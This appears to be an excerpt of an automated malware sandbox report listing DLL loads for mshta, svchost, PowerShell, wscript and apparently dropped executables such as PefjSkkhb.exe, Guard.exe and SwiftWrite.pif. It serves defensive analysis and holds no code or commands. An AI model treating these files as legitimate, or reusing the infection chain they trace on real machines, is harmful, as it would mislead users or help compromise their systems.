Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: imgutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll
Source: C:\Users\Public\Guard.exe	Section loaded: wsock32.dll
Source: C:\Users\Public\Guard.exe	Section loaded: version.dll
Source: C:\Users\Public\Guard.exe	Section loaded: winmm.dll
Source: C:\Users\Public\Guard.exe	Section loaded: mpr.dll
Source: C:\Users\Public\Guard.exe	Section loaded: wininet.dll
Source: C:\Users\Public\Guard.exe	Section loaded: iphlpapi.dll
Source: C:\Users\Public\Guard.exe	Section loaded: userenv.dll
Source: C:\Users\Public\Guard.exe	Section loaded: uxtheme.dll
Source: C:\Users\Public\Guard.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\Public\Guard.exe	Section loaded: windows.storage.dll
Source: C:\Users\Public\Guard.exe	Section loaded: wldp.dll
Source: C:\Users\Public\Guard.exe	Section loaded: napinsp.dll
Source: C:\Users\Public\Guard.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\Public\Guard.exe	Section loaded: wshbth.dll
Source: C:\Users\Public\Guard.exe	Section loaded: nlaapi.dll
Source: C:\Users\Public\Guard.exe	Section loaded: mswsock.dll
Source: C:\Users\Public\Guard.exe	Section loaded: dnsapi.dll
Source: C:\Users\Public\Guard.exe	Section loaded: winrnr.dll
Source: C:\Users\Public\Guard.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: twext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cscui.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: uxtheme.dll
